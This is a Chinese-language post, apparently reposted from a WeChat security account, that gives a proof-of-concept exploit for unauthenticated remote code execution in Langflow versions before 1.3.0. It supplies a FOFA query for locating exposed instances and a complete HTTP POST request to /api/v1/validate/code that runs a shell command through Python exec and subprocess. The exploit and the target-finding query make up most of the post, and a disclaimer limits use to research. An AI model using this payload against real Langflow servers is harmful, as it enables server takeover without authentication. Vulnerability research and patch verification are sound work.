Langflow 远程命令执行 POC

admin 2025年4月19日00:14:15评论18 views字数 589阅读1分57秒阅读模式

漏洞描述

LangFlow是一个针对LangChain的GUI,它采用了反应流设计,提供了一种轻松的方式,通过拖放组件和聊天框来实验和原型化流程,将llm嵌入到您的应用程序中。1.3.0 之前的 Langflow 版本在/api/v1/validate/code 端点容易受到攻击,攻击者可在无需登陆的情况下执行代码,控制服务器。

Langflow 远程命令执行 POC

资产确定

fofa:

product="LOGSPACE-LangFlow"

漏洞复现

1.利用如下POC执行id得到回显

POST /api/v1/validate/code HTTP/1.1Host: {{hostname}}User-AgentMozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like GeckoChrome/120.0.0.0 Safari/537.36Content-Type: application/jsonContent-Length133{  "code":  "def exploit(cmd=exec('raise Exception(__import__("subprocess").check_output("id",shell=True))')):nn pass"}
Langflow 远程命令执行 POC
如有侵权,请联系删除
 

原文始发于微信公众号(我爱林):漏洞复现 || Langflow 远程命令执行

 

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月19日00:14:15
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Langflow 远程命令执行 POChttps://cn-sec.com/archives/3976683.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息